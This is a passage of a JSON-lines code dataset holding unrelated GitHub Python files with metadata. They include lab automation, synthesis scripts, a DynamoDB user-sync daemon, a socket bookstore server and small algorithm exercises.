else:\n return modes[0]\n\ndef rng(n, NumList=[]):\n if n == 1:\n return 0\n NumList.sort()\n return NumList[-1]-NumList[0]\n\nn = int(stdin.readline())\nNumList = []\nfor i in range(n):\n NumList.append(int(stdin.readline()))\n\nprint(arithmetic_geometric_mean(n, NumList))\nprint(median(n, NumList))\nprint(mode(n, NumList))\nprint(rng(n, NumList))","repo_name":"GDSC-SCH/2021-GDSCSCH-AlgorithmStudy","sub_path":"15_이준용/2108.py","file_name":"2108.py","file_ext":"py","file_size_in_byte":900,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"18526329072","text":"from absl import flags\nfrom absl import app\nimport os\n\nFLAGS = flags.FLAGS\nflags.DEFINE_integer (\"i\", 8, \"Number of inputs\")\nflags.DEFINE_integer (\"s\", 3, \"Number of select bits\")\nflags.DEFINE_integer (\"o\", 1, \"Width of output\")\n\nnum_inputs = None\nnum_selects = None\nnum_outputs = None\n\ndef init_setup ():\n global num_inputs, num_selects, num_outputs\n num_inputs = FLAGS.i\n num_selects = FLAGS.s\n num_outputs = FLAGS.o\n return\n\n\ndef gen_yoscript ():\n global num_inputs, num_selects, num_outputs\n read_file = open (\"yosys_verilog/mux_param_template.v\", \"r\")\n write_file = open (\"yosys_verilog/mux_param.v\", \"w\")\n\n lines = read_file.readlines ()\n for line in lines:\n if \"*NUM_INPUTS\" in line:\n write_file.write (\"\\tparameter NUM_INPUT = {},\\n\".format (num_inputs))\n elif \"*NUM_SELECTS\" in line:\n write_file.write (\"\\tparameter SEL_WIDTH = {},\\n\".format (num_selects))\n elif \"*NUM_OUTPUTS\" in line:\n write_file.write (\"\\tparameter DATA_WIDTH = {},\\n\".format (num_outputs))\n else:\n write_file.write (line)\n return\n\n\ndef run_gate_synthesis ():\n os.chdir (\"yosys_script\")\n os.system (\"yosys mux_param.ys\")\n\n\ndef run_sfq_synthesis ():\n global num_inputs, num_selects, num_outputs\n os.chdir (\"../\")\n os.system (\"python sfq_gate_analysis.py --un mux_{}_{}_{} --vlg synth_vlg/synth_mux_param.v\".format \\\n (num_inputs, num_selects, num_outputs))\n\n\ndef main (argv):\n init_setup ()\n gen_yoscript ()\n run_gate_synthesis ()\n run_sfq_synthesis ()\n\n\nif __name__ == \"__main__\":\n app.run (main)\n","repo_name":"SNU-HPCS/QIsim","sub_path":"device_model/rsfq/drive_mux.py","file_name":"drive_mux.py","file_ext":"py","file_size_in_byte":1626,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"21"} +{"seq_id":"34324518668","text":"import os, glob, torch\nimport numpy as np\n\nfrom PIL import Image\n\ndef load_model(model,filepath):\n state_dict = torch.load(filepath)\n new_state_dict= {}\n oldkeys = state_dict.copy().keys()\n\n #eliminate prefix module. concated by using nn.Dataparallel function\n for key in oldkeys:\n prefix_loc = key.find('module.')\n if prefix_loc == 0:\n newkey = key.replace(\"module.\",\"\",1)\n new_state_dict[newkey] = state_dict.pop(key)\n model.load_state_dict(new_state_dict)\n\n return model\n\ndef remove_small_images(datasetpath, minimum=296):\n Dataset_PATH = datasetpath\n imagelist = os.listdir(Dataset_PATH)\n \n length = len(imagelist)\n removelist = []\n print(\"investigate {} images\".format(length))\n\n for i,imagename in enumerate(imagelist):\n imagepath = os.path.join(Dataset_PATH,imagename)\n image = Image.open(imagepath)\n imagesize = np.array(image).shape\n \n if (imagesize[0] <minimum) or (imagesize[1]<minimum):\n removelist.append(imagepath)\n if i+1 %(length//10) ==0:\n print(\"investigate {}th images : {}%, number of small images : {}\".format(i+1,float(i)/length,len(removelist)))\n \n for imagepath in removelist:\n os.remove(imagepath)\n\n print(\"number of small images : {}\".format(len(removelist)))\n print(\"ratio of removed images : {}/{} = {}\".format(len(removelist),len(imagelist),len(removelist)/float(len(imagelist))))\n\ndef specify_generator_path(Basedir, version,epoch):\n if version == 'pretrain':\n gen_path = os.path.join(Basedir,\"Generator\",\"generator_{}th_model.pth\".format(epoch-1))\n elif version== 'NotBN_pretrain':\n gen_path = os.path.join(Basedir,\"NotBN_Generator\",\"generator_{}th_model.pth\".format(epoch-1))\n elif version == 'NotBN':\n gen_path = os.path.join(Basedir,\"post_Generator\", \"NotBN_generator_{}th_model.pth\".format(epoch-1))\n else:\n gen_path = os.path.join(Basedir,\"post_Generator\",\"generator_{}th_model.pth\".format(epoch-1))\n return gen_path\n\ndef specify_dataset_path(Basedir,setname):\n datasetpath_list = glob.glob(os.path.join(Basedir, \"*\"))\n #print(\"setname : {}\".format(setname))\n index = None\n for i, path in enumerate(datasetpath_list): \n #print(path)\n if path.split('/')[-1] == setname:\n index = i\n \n return datasetpath_list[index]\n\n\n\n\n\n\n\n","repo_name":"Slime0519/CV_PA3_SRFeat","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2404,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"19738050332","text":"#!/usr/bin/python3.7\n## as found on OT2 2023/01/20\n\nimport os,sys,getopt,json\n\nfrom threading import Thread\nfrom collections import Counter,OrderedDict\nimport socket,time\n\nimport opentrons.execute\nfrom opentrons import types\n\ncam_server = '169.254.246.60'\n#cam_server = '192.168.7.2' # BB\ncode_reader_sock_port = 9999\n\nclass sock_client:\n def __init__(self, sock_addr):\n self.sock_addr = sock_addr\n self.delay = 0.05\n \n def clean_up(self):\n if self.sock is not None:\n self.sock.close()\n\n def send_msg(self, msg):\n sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n sock.connect(self.sock_addr) \n sock.send(msg.encode('ascii'))\n time.sleep(self.delay)\n ret = sock.recv(8192).decode('ascii')\n sock.close()\n return ret\n\n\ndef read_code(sock, target, slot):\n if target==\"1bar\":\n cmd = {\"target\": \"1bar\", \"zoom\": 200, \"focus\": 45, \"slot\": slot}\n elif target==\"1QR\":\n cmd = {\"target\": \"1QR\", \"zoom\": 200, \"focus\": 45, \n \"crop_x\": 0.3, \"crop_y\": 0.6, \"slot\": slot, \"exposure\": 30} \n elif target==\"3QR\":\n cmd = {\"target\": \"3QR\", \"zoom\": 300, \"focus\": 55, \n \"crop_y\": 0.6, \"exposure\": 25, \"slot\": slot}\n else:\n return []\n \n ret = sock.send_msg(json.dumps(cmd))\n print(json.dumps(cmd))\n print(ret)\n return json.loads(ret)\n \n\n\ndef main(argv):\n try:\n optlist, args = getopt.getopt(argv, \"h:p:t:\", [\"tips=\", \"plates=\", \"holders=\", \"help\"])\n except getopt.GetoptError:\n print(\"Specify the location of tips (-t, --tips), holders (-h, --plates), and plates (-p, --plates).\")\n sys.exit(2)\n \n config = {}\n lw_type = {\"holder_type\": 'lix_3x_holder_c',\n \"plate_type\" : 'corning_96_wellplate_360ul_flat',\n \"tip_rack\": 'opentrons-tiprack-300ul'}\n \n for opt,arg in optlist:\n if opt in [\"--tip_rack\", \"--plate_type\", \"--holder_type\"]:\n lw_type[opt[2:]] = arg\n\n for opt,arg in optlist:\n if opt==\"--help\":\n print(\"Specify the location of tips (-t, --tips), holders (-h, --plates), and plates (-p, --plates).\")\n print(\"Can also specify the type of tiprack (--tip_rack) and plate (--plate_type). Must be valid names.\")\n print(\"Default values are opentrons-tiprack-300ul and 96-flat.\")\n elif opt==\"-t\" or opt==\"--tips\":\n for pos in arg.split(\",\"):\n config[pos] = lw_type[\"tip_rack\"]\n elif opt==\"-h\" or opt==\"--holders\":\n for pos in arg.split(\",\"):\n config[pos] = lw_type[\"holder_type\"]\n elif opt==\"-p\" or opt==\"--plates\":\n for pos in arg.split(\",\"):\n config[pos] = lw_type[\"plate_type\"]\n \n #ldict = {\"plates\": {}, \"holders\": {}}\n pdict = OrderedDict()\n hdict = OrderedDict()\n ldict = {\"plates\": pdict, \"holders\": hdict}\n tips = []\n\n sc = sock_client((cam_server, code_reader_sock_port)) # BeagleBone\n \n #os.system(\"systemctl stop opentrons-robot-server\") # otherwise the lights won't turn on\n protocol = opentrons.execute.get_protocol_api('2.9')\n protocol.home()\n protocol.set_rail_lights(True)\n pipet = protocol.load_instrument('p300_single', 'left') \n\n retry = 3\n for pos,lbw in config.items():\n lbware = protocol.load_labware(\"corning_96_wellplate_360ul_flat\", pos)\n \n if lbw==\"corning_96_wellplate_360ul_flat\":\n pipet.move_to(lbware[\"D12\"].center().move(types.Point(x=10, y=0, z=230)))\n for _ in range(retry): \n ret = read_code(sc, \"1QR\", pos)\n if len(ret)==1:\n pdict[ret[0]] = {\"slot\": pos}\n print(pos, ret[0])\n break\n elif lbw in ['lix_3x_holder', 'lix_3x_holder_c']:\n pipet.move_to(lbware[\"D7\"].center().move(types.Point(x=0, y=0, z=180)))\n for _ in range(retry): \n ret = read_code(sc, \"3QR\", pos)\n if len(ret.keys())==3:\n break\n for hidx in ['A', 'B', 'C']:\n if hidx in ret.keys():\n hdict[ret[hidx]] = {\"slot\": pos, \"holder\": hidx}\n print(pos, ret)\n elif \"tiprack\" in lbw:\n tips.append(lbware)\n\n protocol.set_rail_lights(False)\n protocol.home()\n os.system(\"systemctl start opentrons-robot-server\") # otherwise the lights won't turn on\n \n print(\"*****\", json.dumps(ldict))\n \n #return plates,holders,tips \n \nif __name__ == \"__main__\":\n main(sys.argv[1:])\n","repo_name":"NSLS-II-LIX/lixtools","sub_path":"lixtools/inst/check_deck_config.py","file_name":"check_deck_config.py","file_ext":"py","file_size_in_byte":4640,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"43893884321","text":"import logging\n\nfrom .http import MicrosoftAuth\n\nlogger = logging.getLogger(__name__)\n\n\nclass MicrosoftPlugin:\n def load(self, dependencies):\n api = dependencies['api']\n config = dependencies['config']\n args = (\n dependencies['external_auth_service'],\n dependencies['user_service'],\n config,\n )\n\n api.add_resource(\n MicrosoftAuth,\n '/users/<uuid:user_uuid>/external/microsoft',\n resource_class_args=args,\n )\n","repo_name":"wazo-platform/wazo-auth","sub_path":"wazo_auth/plugins/external_auth/microsoft/plugin.py","file_name":"plugin.py","file_ext":"py","file_size_in_byte":519,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"21"} +{"seq_id":"18322725493","text":"import argparse\nfrom util.utils import realpath, is_dir, is_file, input_exist, filename_and_extension\n\n\ndef proccess_dir(directory, extension):\n directory = realpath(directory)\n\n if not is_dir(directory):\n raise argparse.ArgumentTypeError(f'{directory} is not an existing directory!')\n\n if not input_exist(directory, extension):\n raise argparse.ArgumentTypeError(f'No files with {extension} extension exits in {directory}')\n\n return directory\n\n\ndef proccess_file(file):\n try:\n f = realpath(file)\n except Exception:\n return None\n\n if not is_file(f):\n raise argparse.ArgumentTypeError(f'{file} is not an existing file!')\n\n return f\n\n\ndef proccess_filename(filename, default_settings):\n filename, extension = filename_and_extension(filename)\n\n if extension and extension != default_settings.output_extension:\n print(f'ignoring extension {extension}! Using {default_settings.output_extension}')\n\n return realpath(filename)\n\n\ndef resolve_encoding(encoding_quality, default_settings):\n if encoding_quality is None:\n return default_settings.encoder, default_settings.encoding_quality\n else:\n return 'x265', encoding_quality\n\n\ndef positive_int(v):\n def fail():\n raise argparse.ArgumentTypeError('Positive Integer value expected.')\n\n try:\n result = int(v)\n if result < 0:\n fail()\n return result\n except Exception:\n fail()\n\n\ndef positive_float(v):\n def fail():\n raise argparse.ArgumentTypeError('Positive Float value expected.')\n\n try:\n result = float(v)\n if result < 0:\n fail()\n return result\n except Exception:\n fail()\n\n\ndef x265_preset_int(v):\n def fail():\n raise argparse.ArgumentTypeError('Integer 0-8 expected.')\n\n try:\n result = int(v)\n if result < 0 or result > 8:\n fail()\n return result\n except Exception:\n fail()\n","repo_name":"atiratree/timelapse-to-video","sub_path":"arg_parses/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1973,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"32320923277","text":"from command import ActionBinder\nfrom recognition import VoiceTranslator\nfrom ui import ConsoleUI\nfrom speaker import Speaker\nfrom listener import Listener\nfrom functions import actual_commands, goodbye, current_time, light_off, light_on, love_you, tell_it\nimport serial\n\n\nif __name__ == \"__main__\":\n serial_is_used_for_arduino = False\n if serial_is_used_for_arduino:\n ser = serial.Serial('/dev/ttyUSB0')\n \n\n aliases = dict()\n vt = VoiceTranslator()\n ui = ConsoleUI()\n cm = ActionBinder(vt, aliases)\n\n\n cm.bind_action(ui, goodbye)\n cm.bind_action(ui, current_time)\n cm.bind_action(ui, love_you)\n \n if serial_is_used_for_arduino:\n cm.bind_action(ui, light_on)\n cm.bind_action(ui, light_off)\n cm.bind_action(ui, actual_commands, aliases)\n cm.bind_action_mannualy(('Lustereczko powiedz przecie kto jest najpiękniejszy w świecie',), tell_it)\n\n l = Listener((\"Cześć Tomek\", \"Cześć Tomku\", \"Tomek\", \"Tomku\"), cm.aliases, vt)\n l.start_listen()\n\n\n if serial_is_used_for_arduino:\n ser.close()\n\n print(\"dokonało się\")","repo_name":"WojciechBogobowicz/Voice-menager-module","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1101,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"16028053444","text":"# 그리디 알고리즘 실버4 ATM\n# 돈 인출에 최소걸리게\n\nn = int(input())\np = list(map(int, input().split()))\nk = 0\np.sort()\narr = []\nfor i in range(n):\n k += p[i]\n arr.append(k)\n\nprint(sum(arr))\n","repo_name":"lookinmin/algorithm_study","sub_path":"week10/bakjoon_11399.py","file_name":"bakjoon_11399.py","file_ext":"py","file_size_in_byte":215,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"34631727604","text":"\"\"\"\nDaemon for keeping users in-sync with the DynamoDB table.\n\"\"\"\nfrom logging import getLogger\nfrom random import randint\nfrom time import sleep\nfrom typing import Any, Dict\nimport botocore # pylint: disable=W0611\nfrom .constants import (\n KEY_FULL_UPDATE_JITTER, KEY_FULL_UPDATE_PERIOD,\n KEY_GROUP_TABLE_NAME, KEY_USER_TABLE_NAME)\nfrom .group import Group\nfrom .shadow import ShadowDatabase\nfrom .user import User\n\n# pylint: disable=C0103\n\nlog = getLogger(__name__)\n\nclass Daemon():\n \"\"\"\n Runtime daemon for process control.\n \"\"\"\n\n def __init__(\n self, ddb: \"botocore.client.DynamoDB\", config: Dict[str, Any]) -> None:\n \"\"\"\n Daemon(ddb: botocore.client.DynamoDB, user_table_name: str, group_table_name: str) -> Daemon\n Create a new Daemon for keeping users up-to-date.\n \"\"\"\n super(Daemon, self).__init__()\n self.ddb = ddb\n self.config = config\n self.shadow = ShadowDatabase()\n self.dynamodb_users = {} # type: Dict[str, User]\n self.dynamodb_groups = {} # type: Dict[str, Group]\n\n def reload_users(self) -> None:\n \"\"\"\n daemon.load_users() -> None\n Reload the entire users table.\n \"\"\"\n table_name = self.config.get(KEY_USER_TABLE_NAME, \"Users\")\n log.info(\"Reloading users from DynamoDB table %s\", table_name)\n\n users = {} # type: Dict[str, User]\n paginator = self.ddb.get_paginator(\"scan\")\n page_iterator = paginator.paginate(\n TableName=table_name, ConsistentRead=True)\n\n # We rely entirely on the Boto3 client to retry failed reads here.\n for page in page_iterator:\n items = page.get(\"Items\", [])\n for item in items:\n username = item[\"Name\"][\"S\"]\n assert username not in users\n\n user = self.shadow.users.get(username)\n if user is None:\n user = User.from_dynamodb_item(item)\n self.shadow.users[username] = user\n else:\n user.update_from_dynamodb_item(item)\n\n users[username] = user\n\n self.dynamodb_users = users\n\n def reload_groups(self) -> None:\n \"\"\"\n daemon.reload_groups() -> None\n Reload the entire groups table.\n \"\"\"\n table_name = self.config.get(KEY_GROUP_TABLE_NAME, \"Groups\")\n log.info(\"Reloading groups from DynamoDB table %s\", table_name)\n\n groups = {} # type: Dict[str, Group]\n paginator = self.ddb.get_paginator(\"scan\")\n page_iterator = paginator.paginate(\n TableName=table_name, ConsistentRead=True)\n\n # We rely entirely on the Boto3 client to retry failed reads here.\n for page in page_iterator:\n items = page.get(\"Items\", [])\n for item in items:\n groupname = item[\"Name\"][\"S\"]\n assert groupname not in groups\n\n group = self.shadow.groups.get(groupname)\n if group is None:\n group = Group.from_dynamodb_item(item)\n self.shadow.groups[groupname] = group\n else:\n group.update_from_dynamodb_item(item)\n\n groups[groupname] = group\n\n self.dynamodb_groups = groups\n\n def full_update(self) -> None:\n \"\"\"\n daemon.full_update()\n Perform a full update by scanning the entire DynamoDB table and adding\n users who exist in DynamoDB but not locally, deleting users who exist\n locally but not in DynamoDB, and updating any users who exist in both\n repositories.\n \"\"\"\n # First, refetch everything from DynamoDB\n self.reload_groups()\n self.reload_users()\n\n # Rewrite the /etc/group, /etc/passwd, /etc/gshadow, and\n # /etc/shadow files.\n if self.shadow.modified:\n log.info(\"Shadow database modified; rewriting\")\n self.shadow.write()\n\n # For each DynamoDB user, make sure they have a valid home and ssh keys.\n for user in self.dynamodb_users.values():\n try:\n self.shadow.create_user_home(user)\n self.shadow.write_user_ssh_keys(user)\n except Exception as e: # pylint: disable=W0703\n log.error(\"Failed to create/update user %s: %s\", user.name, e,\n exc_info=True)\n\n def main_loop(self) -> None:\n \"\"\"\n daemon.main_loop() -> None\n Run continuously until interrupted, polling the DynamoDB table and\n rewriting the shadow files (if needed) periodicially.\n\n The periodicity is controlled by the following config keys:\n full_update_period <int>\n The interval, in seconds, between polls. If unspecified, this\n defaults to 3600 seconds (1 hour).\n\n full_update_jitter <int>\n Maximum jitter, in seconds, to add to the period. This prevents\n many instances of DynamoDBUserManager from simultaneously\n overloading DynamoDB. If unspecified, this defaults to\n 600 seconds (10 minutes)\n \"\"\"\n log.info(\"Starting main_loop\")\n while True:\n jitter_max = self.config.get(KEY_FULL_UPDATE_JITTER, 600)\n jitter = randint(0, jitter_max)\n log.info(\n \"Jitter sleeping for %d seconds (of %d maximum)\", jitter,\n jitter_max)\n\n sleep(jitter)\n\n log.info(\"Executing full update\")\n try:\n self.full_update()\n log.info(\"Full update completed successfully\")\n except Exception as e: # pylint: disable=W0703\n log.error(\"Full update failed: %s\", e, exc_info=True)\n\n period = self.config.get(KEY_FULL_UPDATE_PERIOD)\n log.info(\"Regular sleeping for %d seconds\", period)\n sleep(period)\n\n # For testing purposes\n self.main_loop_done_hook()\n\n def main_loop_done_hook(self) -> Any: # pragma: nocover\n \"\"\"\n daemon.main_loop_done_hook() -> None\n Hook method called at the end of main_loop. Not used except in unit\n tests as an escape hatch.\n \"\"\"\n # pylint: disable=R0201\n return\n","repo_name":"dacut/dynamodb-user-manager","sub_path":"dynamodbusermanager/daemon.py","file_name":"daemon.py","file_ext":"py","file_size_in_byte":6309,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"19943601216","text":"# -*- coding: utf-8 -*-\nimport os\nimport sys\n\nclass win:\n batch = None\n @staticmethod\n def symlink(src, dst):\n if not win.batch:\n win.batch = open('symbolic.cmd', 'w')\n win.batch.write('@ECHO OFF\\n')\n win.batch.write('MKLINK /J %s %s\\n' % (dst, src))\n\ndef accounts():\n prefix = os.path.join('WTF', 'Account')\n foo = os.path.join(prefix, '83215426#1')\n bar = ['150998550#1', '150998550#2', '223607616#1', '223607616#2', 'WOW_TAB']\n for path in [os.path.join(prefix, e) for e in bar]:\n if sys.platform.startswith('win'):\n win.symlink(foo, path)\n else:\n os.symlink(foo, path)\n\ndef characters():\n prefix = os.path.join('WTF', 'Account', '83215426#1')\n foo = os.path.join(prefix, 'Tichondrius', 'Masoshonen')\n bar = [\n 'Tichondrius - Morgiane', 'Tichondrius - Morgianu',\n 'Stormrage - Masoshonen',\n '熊猫酒仙 - 魔装少年', '凤凰之神 - 依然活著', '凤凰之神 - 仍然活著',\n ]\n for path in [os.path.join(prefix, *c.split(' - ')) for c in bar]:\n if sys.platform.startswith('win'):\n win.symlink(foo, path)\n else:\n os.symlink(foo, path)\n \ndef main():\n accounts()\n characters()\n if win.batch:\n win.batch.write('PAUSE')\n win.batch.close()\n\nif __name__ == '__main__':\n main()\n","repo_name":"jki14/nichijou-scripts","sub_path":"wow/symbolic/retail/symbolic.py","file_name":"symbolic.py","file_ext":"py","file_size_in_byte":1262,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"37362432686","text":"import socket\nimport threading\nimport random\nprevious_orders = {}\n\n# dictionary of books and their details\nbooks = {\n 101: {\"name\": \"More Peak District\", \"price\": 12.99, \"inventory\": 10},\n 102: {\"name\": \"Lincolnshire Wolds\", \"price\": 10.99, \"inventory\": 10},\n 103: {\"name\": \"Vale of York\", \"price\": 11.99, \"inventory\": 10},\n 104: {\"name\": \"Peak District\", \"price\": 12.99, \"inventory\": 10},\n 105: {\"name\": \"Snowdonia\", \"price\": 13.99, \"inventory\": 10},\n 106: {\"name\": \"Malvern and Warwickshire\", \"price\": 10.99, \"inventory\": 10},\n 107: {\"name\": \"Cheshire\", \"price\": 12.99, \"inventory\": 10}\n}\n# dictionary of walks and their details\nwalks = [\n {\"area\": \"PeakDistrict\", \"book\": \"More Peak District\", \"name\": \"Hathasage\", \"distance\": 7, \"difficulty\": \"Easy\", \"page\": 67},\n {\"area\": \"PeakDistrict\", \"book\": \"More Peak District\", \"name\": \"Hope and Win Hill\", \"distance\": 4.5, \"difficulty\": \"Medium\", \"page\": 18},\n {\"area\": \"Lincolnshire\", \"book\": \"Lincolnshire Wolds\", \"name\": \"Thornton Abbey\", \"distance\": 3.5, \"difficulty\": \"Easy\", \"page\": 20},\n {\"area\": \"Lincolnshire\", \"book\": \"Lincolnshire Wolds\", \"name\": \"Tennyson County\", \"distance\": 5, \"difficulty\": \"Hard\", \"page\": 28},\n {\"area\": \"York\", \"book\": \"Vale Of York\", \"name\": \"Cowlam and Cotham\", \"distance\": 8, \"difficulty\": \"Hard\", \"page\": 64},\n {\"area\": \"York\", \"book\": \"Vale of York\", \"name\": \"Fridaythorpe\", \"distance\": 7, \"difficulty\": \"Easy\", \"page\": 42},\n {\"area\": \"PeakDistrict\", \"book\": \"Peak District\", \"name\": \"Magpie Mine\", \"distance\": 4.5, \"difficulty\": \"Medium\", \"page\": 20},\n {\"area\": \"PeakDistrict\", \"book\": \"Peak District\", \"name\": \"Lord’s Seat\", \"distance\": 5.5, \"difficulty\": \"Easy\", \"page\": 28},\n {\"area\": \"NorthWales\", \"book\": \"Snowdonia\", \"name\": \"Around Aber\", \"distance\": 4, \"difficulty\": \"Hard\", \"page\": 24},\n {\"area\": \"NorthWales\", \"book\": \"Snowdonia\", \"name\": \"Yr Eifl\", \"distance\": 3.5, \"difficulty\": \"Medium\", \"page\": 42},\n {\"area\": \"Warwickshire\", \"book\": \"Malvern and Warwickshire\", \"name\": \"Edge Hill\", \"distance\": 4, \"difficulty\": \"Easy\", \"page\": 28},\n {\"area\": \"Warwickshire\", \"book\": \"Malvern and Warwickshire\", \"name\": \"Bidford-UponAvon\", \"distance\": 8.5, \"difficulty\": \"Medium\", \"page\": 78},\n {\"area\": \"Cheshire\", \"book\": \"Cheshire\", \"name\": \"Dane Valley\", \"distance\": 8.5, \"difficulty\": \"Easy\", \"page\": 20},\n {\"area\": \"Cheshire\", \"book\": \"Cheshire\", \"name\": \"Malpas\", \"distance\": 8.5, \"difficulty\": \"Medium\", \"page\": 80},\n {\"area\": \"Cheshire\", \"book\": \"Cheshire\", \"name\": \"Farndon\", \"distance\": 8.5, \"difficulty\": \"Hard\", \"page\": 48},\n {\"area\": \"Cheshire\", \"book\": \"Cheshire\", \"name\": \"Delamere Forest\", \"distance\": 5.5, \"difficulty\": \"Easy\", \"page\": 30}]\n\norders = {}\ndef levenshtein_distance(s1, s2):\n if len(s1) > len(s2):\n s1, s2 = s2, s1\n\n distances = range(len(s1) + 1)\n for i2, c2 in enumerate(s2):\n new_distances = [i2 + 1]\n for i1, c1 in enumerate(s1):\n if c1 == c2:\n new_distances.append(distances[i1])\n else:\n new_distances.append(1 + min((distances[i1], distances[i1 + 1], new_distances[-1])))\n distances = new_distances\n return distances[-1]\n\ndef find_closest_match(word, word_list):\n distances = [levenshtein_distance(word, w) for w in word_list]\n closest_match_index = distances.index(min(distances))\n return word_list[closest_match_index]\n\n\ndef correct_typos(message):\n corrected_message = []\n areas = list(set([walk[\"area\"] for walk in walks]))\n difficulties = list(set([walk[\"difficulty\"] for walk in walks]))\n commands = [\"Search\", \"Buy\", \"exit\"]\n max_distance_threshold = 2\n \n for i, word in enumerate(message):\n if i == 0: # Command\n closest_command = find_closest_match(word, commands)\n if levenshtein_distance(word, closest_command) <= max_distance_threshold:\n corrected_message.append(closest_command)\n else:\n corrected_message.append(word)\n elif i == 1 and message[0] == \"Search\": # Area\n closest_area = find_closest_match(word, areas)\n if levenshtein_distance(word, closest_area) <= max_distance_threshold:\n corrected_message.append(closest_area)\n else:\n corrected_message.append(word)\n elif i == 4 and message[0] == \"Search\": # Difficulty\n closest_difficulty = find_closest_match(word, difficulties)\n if levenshtein_distance(word, closest_difficulty) <= max_distance_threshold:\n corrected_message.append(closest_difficulty)\n else:\n corrected_message.append(word)\n else:\n corrected_message.append(word)\n \n return corrected_message\n\ndef handle_client(conn, addr):\n print(\"Connected by\", addr)\n while True:\n data = conn.recv(1024).decode(\"utf-8\")\n if not data:\n break\n message = data.strip().split(\" \")\n message = correct_typos(message)\n \n print(message)\n try:\n if message[0] == \"Search\":\n area = message[1]\n min_distance = int(message[2])\n max_distance = int(message[3])\n difficulty = message[4]\n recommended_walks = []\n for walk in walks:\n if walk[\"area\"] == area and min_distance <= walk[\"distance\"] <= max_distance and walk[\"difficulty\"] == difficulty:\n recommended_walks.append(f\"{walk['name']}, {walk['book']}, pg {walk['page']}\")\n if recommended_walks:\n recommended_walks_str = \"\\n\".join(recommended_walks)\n conn.send(f\"Recommended walks:\\n{recommended_walks_str}\".encode(\"utf-8\"))\n else:\n conn.send(\"No walks found for the given criteria\".encode(\"utf-8\"))\n\n elif message[0] == \"Buy\":\n customer_name = message[1]\n order = []\n order_cost = 0\n not_enough_books = []\n for i in range(2, len(message), 2):\n book_number = int(message[i])\n book_quantity = int(message[i + 1])\n book = books.get(book_number)\n if book:\n if book[\"inventory\"] >= book_quantity:\n book_cost = book[\"price\"] * book_quantity\n order.append((book[\"name\"], book_quantity, book_cost))\n order_cost += book_cost\n book[\"inventory\"] -= book_quantity\n else:\n not_enough_books.append((book[\"name\"], book[\"inventory\"]))\n if not_enough_books:\n not_enough_books_str = \"\\n\".join([f\"{book_name}: {inventory} available\" for book_name, inventory in not_enough_books])\n conn.send(f\"Insufficient inventory for the following books:\\n{not_enough_books_str}\\n\".encode(\"utf-8\"))\n elif order:\n if customer_name in orders:\n previous_orders = orders[customer_name]\n total_books = sum([order[1] for order in previous_orders + order])\n if total_books > 50:\n conn.send(\"Error: you have reached the maximum number of books you can buy\".encode(\"utf-8\"))\n else:\n order_cost_str = f\"Order cost: £{order_cost:.2f}\"\n order_str = \"\\n\".join([f\"{book_name} x {book_quantity}: £{book_cost:.2f}\" for book_name, book_quantity, book_cost in order])\n if order_cost > 75:\n order_cost_str += f\"\\nDiscount applied: £{order_cost * 0.1:.2f}\"\n order_cost -= order_cost * 0.1\n conn.send(f\"{order_str}\\n{order_cost_str}\".encode(\"utf-8\"))\n orders[customer_name] = previous_orders + order\n else:\n order_cost_str = f\"Order cost: £{order_cost:.2f}\"\n order_str = \"\\n\".join([f\"{book_name} x {book_quantity}: £{book_cost:.2f}\" for book_name, book_quantity, book_cost in order])\n if order_cost > 75:\n order_cost_str += f\"\\nDiscount applied: £{order_cost * 0.1:.2f}\"\n order_cost -= order_cost * 0.1\n conn.send(f\"{order_str}\\n{order_cost_str}\".encode(\"utf-8\"))\n orders[customer_name] = order\n else:\n conn.send(\"No books ordered\".encode(\"utf-8\"))\n\n elif message[0] == \"exit\":\n break\n else:\n conn.send(\"Invalid request, Try a command in our command library\".encode(\"utf-8\"))\n \n except:\n conn.send(\"Didnt follow the write code criteria, its Search [Area Where Want to Walk] [Minimum Length in Miles] [Maximum Length in Miles] [Level of Difficult]\".encode(\"utf-8\"))\n \n\n conn.close()\n\n\nserver_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nserver_socket.bind((\"localhost\", 12345))\nserver_socket.listen(5)\n\nwhile True:\n conn, addr = server_socket.accept()\n client_thread = threading.Thread(target=handle_client, args=(conn, addr))\n client_thread.start()\n","repo_name":"emocreator/Client_Server_Project_Uni","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":9497,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"7301101647","text":"import os\nimport numpy as np\nimport copy\nimport scipy.stats\nfrom scipy.stats import hypergeom\nfrom bootstrapAGORAIBD import writeData\n\ndef calcEigs(bigmap,eigminarr,eigmaxarr,eigmeanarr):\n mergedFI = open('/mnt/vdb/home/ubuntu2/tobemerged2.txt')\n mergedFI.readline()\n rxnstosubs = {}\n for line in mergedFI:\n words = line.strip().split('\\t')\n if len(words)==3:\n rxnstosubs[words[0]] = words[2]\n mergedFI.close()\n for ithIdx in bigmap:\n for jthIdx in bigmap[ithIdx]:\n competecount = 0\n coopcount = 0\n for rxn in bigmap[ithIdx][jthIdx]:\n if rxn in rxnstosubs and (rxnstosubs[rxn]=='Transport, extracellular' or rxnstosubs[rxn]=='Transport'):\n flux1 = bigmap[ithIdx][jthIdx][rxn][0]\n flux2 = bigmap[ithIdx][jthIdx][rxn][1]\n if flux1!=0 and flux2!=0:\n if (flux1>0 and flux2>0) or (flux1<0 and flux2<0):\n 